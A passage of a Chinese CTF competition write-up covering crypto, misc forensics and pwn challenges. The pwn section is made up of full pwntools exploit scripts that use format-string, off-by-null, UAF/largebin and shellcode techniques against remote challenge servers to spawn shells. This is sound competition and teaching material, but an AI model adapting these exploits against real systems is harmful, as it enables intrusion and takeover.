128, 124],[1, 132, 161],[164, 33, 133],[252, 201, 32],[8, 18, 247],[1, 88, 55],[201, 135, 186],[101, 254, 125],[236, 196, 39],[148, 24, 103],[101, 29, 253],[97, 156, 64],[90, 103, 91],[50, 48, 80],[206, 22, 93],[11, 114, 174],[61, 132, 247],[215, 32, 232],[95, 128, 90],[57, 35, 228],[163, 143, 107],[178, 250, 28],[64, 107, 225],[106, 115, 207],[85, 134, 21],[118, 201, 76],[234, 34, 22],[241, 236, 122],[111, 185, 127],[1, 26, 164],[254, 57, 117],[243, 27, 32],[161, 88, 80],[50, 165, 93],[87, 182, 216],[184, 159, 63],[167, 166, 123],[37, 78, 33],[186, 81, 58],[48, 3, 239],[70, 186, 13],[56, 108, 178],[54, 55, 235],[105, 180, 105],[16, 194, 98],[136, 11, 41],[18, 203, 79],[185, 114, 170],[148, 181, 223],[118, 57, 160],[23, 250, 181],[235, 219, 228],[44, 151, 38],[185, 224, 134],[42, 162, 122],[3, 9, 158],[129, 245, 2],[66, 241, 92],[80, 124, 36]]
res=[55, 5, 183, 192, 103, 32, 211, 116, 102, 120, 118, 54, 120, 145, 185, 254, 77, 144, 70, 54, 193, 73, 64, 0, 79, 244, 190, 23, 215, 187, 53, 176, 27, 138, 42, 89, 158, 254, 159, 133, 78, 11, 155, 163, 145, 248, 14, 179, 23, 226, 220, 201, 5, 71, 241, 195, 75, 191, 237, 108, 141, 141, 185, 76, 7, 113, 191, 48, 135, 139, 100, 83, 212, 242, 21, 143, 255, 164, 146, 119, 173, 255, 140, 193, 173, 2, 224, 205, 68, 10, 77, 180, 24, 23, 196, 205, 108, 28, 243, 80, 140, 4, 98, 76, 217, 70, 208, 202, 78, 177, 124, 10, 168, 165, 223, 105, 157, 152, 48, 152, 51, 133, 190, 202, 136, 204, 44, 33, 58, 4, 196, 219, 71, 150, 68, 162, 175, 218, 173, 19, 201, 100, 100, 85, 201, 24, 59, 186, 46, 130, 147, 219, 22, 81]
# res = [48, 187, 242, 82, 159, 17, 153, 125, 154, 127, 74, 37, 162, 190, 27, 236, 201, 0, 209, 87, 74, 247, 218, 92, 206, 134, 60, 120, 132, 2, 221, 60, 98, 96, 120, 249, 18, 117, 107, 156, 207, 94, 141, 208, 78, 61, 192, 34, 121, 96, 212, 207, 82, 71, 7, 191, 207, 232, 38, 227, 98, 222, 222, 234, 84, 9, 180, 33, 22, 113, 154, 170, 231, 64, 44, 214, 164, 130, 197, 167, 70, 11, 241, 52, 145, 82, 42, 8, 214, 69, 98, 102, 122, 79, 91, 180, 146, 117, 29, 124, 21, 83, 125, 123, 251, 209, 191, 121, 212, 202, 244, 77, 136, 80, 224, 153, 181, 209, 50, 173, 62, 61, 5, 164, 209, 120, 75, 138, 47, 76, 196, 117, 199, 242, 211, 157, 85, 103, 243, 96, 16, 145, 157, 68, 25, 105, 109, 136, 11, 228, 36, 79, 115, 250]
seeds=[4827, 9522, 552, 880, 7467, 7742, 9425, 4803, 6146, 4366, 1126, 4707, 1138, 2367, 1081, 5577, 4592, 5897, 4565, 2012, 2700, 1331, 9638, 7741, 50, 824, 8321, 7411, 6145, 1271, 7637, 5481, 8474, 2085, 2421, 590, 7733, 9427, 3278, 5361, 1284, 2280, 7001, 8573, 5494, 7431, 2765, 827, 102, 1419, 6528, 735, 5653, 109, 4158, 5877, 5975, 1527, 3027, 9776, 5263, 5211, 1293, 5976, 7759, 3268, 1893, 6546, 4684, 419, 8334, 7621, 1649, 6840, 2975, 8605, 5714, 2709, 1109, 358, 2858, 6868, 2442, 8431, 8316, 5446, 9356, 2817, 2941, 3177, 7388, 4149, 4634, 4316, 5377, 4327, 1774, 6613, 5728, 1751, 8478, 3132, 4680, 3308, 9769, 8341, 1627, 3501, 1046, 2609, 7190, 5706, 3627, 8867, 2458, 607, 642, 5436, 6355, 6326, 1481, 9887, 205, 5511, 537, 8576, 6376, 3619, 6609, 8473, 2139, 3889, 1309, 9878, 2182, 8572, 9275, 5235, 6989, 6592, 4618, 7883, 5702, 3999, 925, 2419, 7838, 3073, 488, 21, 3280, 9915, 3672, 579]


ress = ""
dp = ''
for i in range(0,154):
random.seed(seeds[i])
rands = []
for j in range(0,4):
rands.append(random.randint(0,255))
# print(rands)
ress+=chr((res[i]) ^ rands[i % 4])
# dp += str((res[i]) ^ rands[i % 4])
print(ress)
# print(dp)

dp = 5372007426161196154405640504110736659190183194052966723076041266610893158678092845450232508793279585163304918807656946147575280063208168816457346755227057
import gmpy2


for x in range(1, e):
if(e * dp % x == 1):
p = (e * dp - 1) // x + 1
if(n % p != 0):
continue
q = n // p
fain = (p-1) * (q-1)
d = gmpy2.invert(e, fain)
m = pow(c, d, n)
if(len(hex(m)[2:]) % 2 == 1):
continue

print("m:", m)
print("flag:", binascii.a2b_hex(hex(m)[2:]))

###

pwn

1、**note**

scanf那里可以进行格式化字符串的利用,首先修改站上残留的stdout指针,可以泄露地址,之后可以任意地址写:

image-20210822223035357.png

image-20210822224425914.png

最后利用传统的exit_hook,劫持_dl_rtld_lock_recursive为one_gadget,当调用exit函数时可得到shell

exp:

#!usr/bin/env python
#-*- coding:utf8 -*-
from pwn import *
import sys

pc="./note"
reomote_addr=["47.104.70.90",25315]
elf = ELF(pc)
libc = elf.libc
context.binary=pc
context.terminal=["gnome-terminal",'-x','sh','-c']

if len(sys.argv)==1:
# p=process(pc)
context.log_level="debug"
p=process(pc,env={"LD_PRELOAD":"./libc-2.23.so"})
if len(sys.argv)==2 :
if 'l' in sys.argv[1]:
p=process(pc)
if 'r' in sys.argv[1]:
p = remote(reomote_addr[0],reomote_addr[1])
if 'n' not in sys.argv[1]:
context.log_level="debug"

ru = lambda x : p.recvuntil(x,timeout=0.2)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell= lambda :p.interactive()
ru7f = lambda : u64(ru('\x7f')[-6:].ljust(8,'\x00'))
rv6 = lambda : u64(rv(6)+'\x00'*2)

def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

what_choice="choice: "
ch_add="1"
ch_dele=""
ch_edit="2"
ch_show="3"
what_size="size: "
what_c="content: "
what_idx=""
def add(size,c='a'):
ru(what_choice)
sl(ch_add)
ru(what_size)
sl(str(size)) # 0x100
ru(what_c)
sn(c)
# ru(what_c)

def edit(c,hhh=''):
ru(what_choice)
sl(ch_edit)
ru("say ? ")
sn(c) ##0x64
ru("? ")
sl(hhh)

def show():
ru(what_choice)
sl(ch_show)
ru("content:")

add(0x20)

bp(0x1235,'\nc')
edit('%7$s'.ljust(8,'\x00'),p64(0xfbad1800)+'\x00'*3*8+'\n')

libc_base = ru7f() - 0x3c36e0
lg("libc_base",libc_base)
rtld_lock = libc_base + 0x5f0f48
one_addr=libc_base+0xf1247

edit('%7$s'.ljust(8,'\x00')+p64(rtld_lock),p64(one_addr))

ru(what_choice)
sl('0')


shell()

flag{006c45fa-81d5-45eb-8f8c-eb6833daadf5}

2、**lemon**

开头的伪随机数可绕过,使得flag输入到栈上;

程序在bss段上残留了一个栈地址:

70a5a65e7934d94180f5fe34e9c4adc.png

所有菜单函数里面都没有检查负下标,所以可以修改栈空间,通过部分覆盖将环境变量的一个指针改为flag的地址,之后破坏堆结构,报错即可泄露出flag

exp:

# -*- coding:utf8 -*-
from pwn import *

pc = "./lemon_pwn"
libc = ELF('./libc-2.26.so')
context.binary = pc
context.terminal = ["gnome-terminal", '-x', 'sh', '-c']
context.log_level= 'debug'

remote_addr = ["47.104.70.90", 34524]
ru = lambda x : p.recvuntil(x,timeout=0.2)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell= lambda :p.interactive()
ru7f = lambda : u64(ru('\x7f')[-6:].ljust(8,'\x00'))
rv6 = lambda : u64(rv(6)+'\x00'*2)
menu = lambda x:p.sendlineafter(">>> ",str(x))

def lg(s, addr):
print('\033[1;31;40m%20s-->0x%x\033[0m' % (s, addr))

def bp(bkp=0, other=''):
if bkp == 0:
cmd = ''
elif bkp <= 0x7fff:
cmd = "b *$rebase("+str(bkp)+")"
else:
cmd = "b *"+str(bkp)
cmd += other
attach(p, cmd)

def add(index, name, size, content):
menu(1)
ru("index of your lemon")
sl(str(index))
ru("name your lemon:")
sn(name)
ru("of message for you lemon:")
sl(str(size))
ru("Leave your message:")
sn(content)

def add2(index, name,size):
menu(1)
ru("index of your lemon")
sl(str(index))
ru("name your lemon:")
sn(name)
ru("of message for you lemon:")
sl(str(size))

def show(index):
menu(2)
ru(" your lemon :")
sl(str(index))

def dele(index):
menu(3)
ru(" your lemon :")
sl(str(index))

def edit(index, content):
menu(4)
ru(" index of your lemon")
sl(str(index))
ru("Now it's your time to draw and color!")
sn(content)


def exploit():
sl("yes")
sa("Give me your lucky number:",p64(0xcff48db8b7c913e7))
sa("tell me you name first:",p64(0)*2+'\x00\x20\x00\x00\x01')
ru("0x")
flag = int(rv(3),16)
success(hex(flag))
flag2 = flag+0x1000-0x40 # flag地址的末字节
success(hex(flag2))
payload = 'a'*0x138+chr(flag2&0xff)+chr((flag2>>8)&0xff) ##覆盖环境变量的位置
success(payload.encode('hex'))
edit(-260,payload)

add(0,'desh',0x20,'a')
dele(0)
add(0,'desh',0x10,'a')
add2(1,'desh',0x114514)
dele(0)
payload = p64(0x20)+p64(0x450)+p64(0x100000018)+p64(0x0)
add(0,'desh',0x20,payload)
dele(0)
dele(1)
add(0,'\xa0',0x20,'\xa0')
add2(1,p64(0x10),0x20)

while True:
try:
p = remote("47.104.70.90",34524)
exploit()
aaa = ru("or corruption (!prev):")
print aaa
if "flag" in aaa:
pause()
except:
p.close()
continue

flag{f578948e-8b48-494d-a11e-a97b7fbf14ee}

3、**PassWordBox_FreeVersion**

fgets可以溢出一个\x00;

libc2.27下的off by null,实现chunk overlap,进而修改tcache的fd指针,分配到__free_hook处,并将其修改为system

#!usr/bin/env python
#-*- coding:utf8 -*-
from pwn import *
import sys

pc="./pwdFree"
reomote_addr=["47.104.71.220",38562]
elf = ELF(pc)
libc = elf.libc
context.binary=pc
context.terminal=["gnome-terminal",'-x','sh','-c']

if len(sys.argv)==1:
# p=process(pc)
context.log_level="debug"
p=process(pc,env={"LD_PRELOAD":"./libc.so.6"})
if len(sys.argv)==2 :
if 'l' in sys.argv[1]:
p=process(pc)
if 'r' in sys.argv[1]:
p = remote(reomote_addr[0],reomote_addr[1])
if 'n' not in sys.argv[1]:
context.log_level="debug"

ru = lambda x : p.recvuntil(x,timeout=0.2)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell= lambda :p.interactive()
ru7f = lambda : u64(ru('\x7f')[-6:].ljust(8,'\x00'))
rv6 = lambda : u64(rv(6)+'\x00'*2)

def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

what_choice="Input Your Choice:"
ch_add="1"
ch_dele="4"
ch_edit="2"
ch_show="3"
what_size="Length Of Your Pwd:"
what_c="Your Pwd:"
what_idx="Which PwdBox You Want Check:"
def add(ID,size,c=''): ##0x100
ru(what_choice)
sl(ch_add)
ru("Input The ID You Want Save:")
sl(ID)
ru(what_size)
sl(str(size))
ru(what_c)
sl(c)

def add2(ID,size,c=''): ##0x100
ru(what_choice)
sl(ch_add)
ru("Input The ID You Want Save:")
sl(ID)
ru(what_size)
sl(str(size))
ru(what_c)
sn(c)

def dele(idx):
ru(what_choice)
sl(ch_dele)
ru("Idx you want 2 Delete:")
sl(str(idx))

def edit(idx,c):
ru(what_choice)
sl(ch_edit)
sl(str(idx))
sn(c)

def show(idx):
ru(what_choice)
sl(ch_show)
ru(what_idx)
sl(str(idx))

add('',0x20) #0
ru("Save ID:")
rv(8)
key = u64(rv(8))

for i in range(7): #1-7
add('d',0xf8)

add('d',0x28) #8
add('d',0xf8) #9

for i in range(2): #10-11
add('Desh',0x48)

add('D',0x28) #12
add('D',0xf8) #13
add('D',0x28) #14

for i in range(7):
dele(i+1)

dele(12)
add2('d',0x28,'a'*0x20+p64(0x1d0^key))

dele(9)
dele(13)

for i in range(8): #1-7 ,9
add('d',0xf8)

show(10)
ru("Pwd is: ")
libc_base = u64(rv(8))^key
libc_base -= 0x3ebca0
free_hook=libc_base+libc.sym['__free_hook']
sys_addr=libc_base+libc.sym['system']
lg("libc_base",libc_base)
lg("free_hook",free_hook)

add('d',0x48) #13
dele(10)
edit(13,p64(free_hook))

add('d',0x40,p64(0x68732f6e69622f^key)) #10
add('d',0x40,p64(sys_addr^key))

dele(10)

lg("key",key)
shell()

flag{2db0e64f-afe1-44d4-9af9-ae138da7bb4b}

4、PassWordBox_ProVersion

存在UAF,且只能申请largebin大小的chunk

通过2.31的large bin attack,可以修改 mp_结构体中的tcache_bins和tcache_max_bytes

image-20210823024917076.png

之后通过计算,在伪造的tcache struct的相应size的位置上写上__free_hook,可将其申请出来改为system

exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

pc = './pwdPro'
# p = process(pc)
libc = ELF("./libc.so")
p = remote("47.104.71.220", 49261)
context.log_level = 'debug'
context.binary=pc
context.terminal=["gnome-terminal",'-x','sh','-c']

ru = lambda x : p.recvuntil(x,timeout=0.2)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell= lambda :p.interactive()
ru7f = lambda : u64(ru('\x7f')[-6:].ljust(8,'\x00'))
rv6 = lambda : u64(rv(6)+'\x00'*2)

def add(idx, id, size, content="a\n"):
sla("Choice:", "1")
sla("Add:", str(idx))
sla("Save:", id)
sla("Of Your Pwd:", str(size))
sa("Your Pwd:", content)
def show(idx):
sla("Choice:", "3")
sla("", str(idx))
def edit(idx, content):
sla("Choice:", "2")
sla("Edit:", str(idx))
sn(content)
def dele(idx):
sla("Choice:", "4")
sla("Delete:", str(idx))
def re(idx):
sla("Choice:", "5")
sla("Recover:", str(idx))


add(0, "a", 0x450)
ru("ID:")
rv(8)
key = u64(rv(8))
print(hex(key))

add(1, "a", 0x420)
dele(0)
re(0)
show(0)
ru("Pwd is: ")

libc.address = (u64(rv(8))^key) - 0x1ebbe0
print(hex(libc.address))

add(0, "a", 0x450)
add(2, "a", 0x440)
add(3, "a", 0x420)
dele(0)
add(4, "a", 0x600)
dele(2)
re(0)
show(0)
ru("Pwd is: ")
rv(0x10)
heap_addr = u64(rv(8))^key
print(hex(heap_addr))
edit(0, p64(libc.address + 0x1ec010 )*2+p64(heap_addr)+p64(libc.address+0x1eb2d8-0x20-4)+'\n')

add(10, "a", 0x600)
add(11, "a", 0x800, p64(u64("/bin/sh\x00")^key)+"\n")

dele(10)
edit(0, "a"*0xe8+p64(libc.sym['__free_hook']))
add(12, "a", 0x600, p64(libc.sym['system']^key)+'\n')
dele(11)


shell()

flag{909cf735-b274-4098-885b-589300839b71}

5、JigSaw'sCage

存在整数溢出/宽度溢出,可以绕过检查得到一块rwx的堆地址:

image-20210822230257109.png

test函数可以执行输入的汇编代码

利用残留的寄存器r10,r12,分两次写,把__free_hook改为system即可:

image-20210822230723611.png

add r10, 0x50068 
mov r12, r10

sub r10, 0x1496b0
mov qword ptr [r12],r10

exp:

#!usr/bin/env python
#-*- coding:utf8 -*-
from pwn import *
import sys

pc="./JigSAW"
reomote_addr=["47.104.71.220",10273]
elf = ELF(pc)
libc = elf.libc
context.binary=pc
context.terminal=["gnome-terminal",'-x','sh','-c']

if len(sys.argv)==1:
# p=process(pc)
context.log_level="debug"
p=process(pc,env={"LD_PRELOAD":"./libc.so"})
if len(sys.argv)==2 :
if 'l' in sys.argv[1]:
p=process(pc)
if 'r' in sys.argv[1]:
p = remote(reomote_addr[0],reomote_addr[1])
if 'n' not in sys.argv[1]:
context.log_level="debug"

ru = lambda x : p.recvuntil(x,timeout=0.2)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell= lambda :p.interactive()
ru7f = lambda : u64(ru('\x7f')[-6:].ljust(8,'\x00'))
rv6 = lambda : u64(rv(6)+'\x00'*2)

def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

what_choice="Choice : "
ch_add="1"
ch_dele="3"
ch_edit="2"
ch_show="5"
what_size=""
what_c="iNput:"
what_idx="Index? : "
def add(idx): # 0x10 5个
ru(what_choice)
sl(ch_add)
ru(what_idx)
sl(str(idx))

def dele(idx):
ru(what_choice)
sl(ch_dele)
ru(what_idx)
sl(str(idx))

def edit(idx,c): #0x10
ru(what_choice)
sl(ch_edit)
ru(what_idx)
sl(str(idx))
ru(what_c)
sn(c) ##

def test(idx):
ru(what_choice)
sl('4')
ru(what_idx)
sl(str(idx))

def show(idx):
ru(what_choice)
sl(ch_show)
ru(what_idx)
sl(str(idx))

ru("Name:")
sl('desh')
ru("The result is ")
size = ru('\n')
print(int(size,10))

ru("Make your Choice:")
sl(str(0xffff00000000))

code1 = asm("add r10, 0x50068; mov r12, r10;")
code2 = asm("sub r10, 0x1496b0; mov qword ptr [r12], r10")

add(0)
add(1)
add(2)
edit(0,code1)
edit(1,code2)
edit(2,'/bin/sh\x00')
test(0)
test(1)
dele(2)

shell()

flag{58591d4d-068f-47ed-9305-a65762917b06}

misc

1、**层层取证**

挂载镜像,在内存中找到密钥

image-20210823093353529.png

bitlocker密钥 549714-116633-006446-278597-176000-708532-618101-131406

image-20210823093437542.png

发现一个流量包

image-20210823093553554.png

跟踪udp,打开,保存为zip格式

image-20210823093720394.png

右边有hint和开机密码同

image-20210823093834957.png

hashdump一下

image-20210823094126898.png

解一下 xiaoming_handsome是压缩包密码

打开docx,还有一层密码

image-20210823094308977.png

原始数据中搜索

image-20210823094655517.png

image-20210823094742286.png

image-20210823094801624.png

2、**鸣雏恋**

解压后,得到一个docx,里面就几个字,没有隐藏。改为zip后缀试试。

解压zip,里面的key.txt是零宽

1629681652586.png

密码是 Because I like naruto best

解压缩包,转化0和1,一把梭出图片

from PIL import Image
from Crypto.Util.number import long_to_bytes
import base64
path = "D:\\Desktop\\xiangyuncup\\misc4_\\_rels\\out\\"
flag = "0b"
for i in range(129488):
_path=path+str(i)+".png"
a=Image.open(_path)
if a.size[0] == 23:flag+="0"
else:flag+="1"
cipher=int(flag, 2)
data=long_to_bytes(cipher)
data = str(data).split(',')[1].encode()
image_data = base64.b64decode(data)
with open('1.png', 'wb') as f:
f.write(image_data)

1629681683231.png

3、ChieftainsSecret

binwalk可以得到一个表和一张芯片示意图:

显然是要分析芯片的功能了。

表用折线图画,可以发现是一些三角函数信号,根据信号应该可以得出什么信息

1629681715384.png

处理一下四组数据

https://www.bilibili.com/video/av58935371/ 学习了下怎么转换时间

x=cos_p-cos_n

y=sin_p-sin_n

1629681750363.png

转换成角度,算出theta(atan2(x,y)*57.3,负值加360),画图得到:

1629681766015.png

逐个比对出峰值对应号码,得到77085962457。



通过本系列的学习,能够对CTF中web有体系的了解,通过练习提升技术

实验推荐:Weekly CTF

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